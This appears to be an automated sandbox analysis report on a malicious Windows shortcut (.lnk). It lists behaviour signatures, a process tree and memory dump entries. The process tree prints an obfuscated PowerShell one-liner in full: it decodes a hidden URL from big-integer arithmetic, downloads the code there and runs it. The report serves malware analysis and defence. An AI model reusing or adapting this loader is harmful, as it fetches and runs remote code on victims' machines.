Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 09:37

General

  • Target
    photov_451247531813.lnk
  • Size 1KB
  • Sample260727-llvadazdkd
  • SHA256 3edc00d9aa15319a68c824128d094ce6f4c8f6808da2ea39d67bb112045fff4a
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_451247531813.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$nzojv=38;$zepmta=30;$ca2f10jx=42;$y4baw4=[bigint]::Parse('157168680144939260864117449377365881341');$ubt5hvkn3w=[bigint]::Parse('993004526261770567280971240931974');$y4baw4=$y4baw4-$ubt5hvkn3w;$lrpiq2z08=@();while($y4baw4 -gt 0){$lrpiq2z08+=[char][int]([bigint]::Remainder($y4baw4,256));$y4baw4=[bigint]::Divide($y4baw4,256)};.([scriptblock]::Create((irm(-join$lrpiq2z08))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$nzojv=38;$zepmta=30;$ca2f10jx=42;$y4baw4=[bigint]::Parse('157168680144939260864117449377365881341');$ubt5hvkn3w=[bigint]::Parse('993004526261770567280971240931974');$y4baw4=$y4baw4-$ubt5hvkn3w;$lrpiq2z08=@();while($y4baw4 -gt 0){$lrpiq2z08+=[char][int]([bigint]::Remainder($y4baw4,256));$y4baw4=[bigint]::Divide($y4baw4,256)};.([scriptblock]::Create((irm(-join$lrpiq2z08))))"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5080

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/5080-0-0x00007FFFCFFEF000-0x00007FFFCFFF0000-memory.dmp

        memory/5080-1-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-3-0x000002A3CF3F0000-0x000002A3CF412000-memory.dmp

        memory/5080-2-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-6-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-7-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-8-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-9-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-10-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-12-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp

        memory/5080-13-0x00007FFFCFE60000-0x00007FFFD0804000-memory.dmp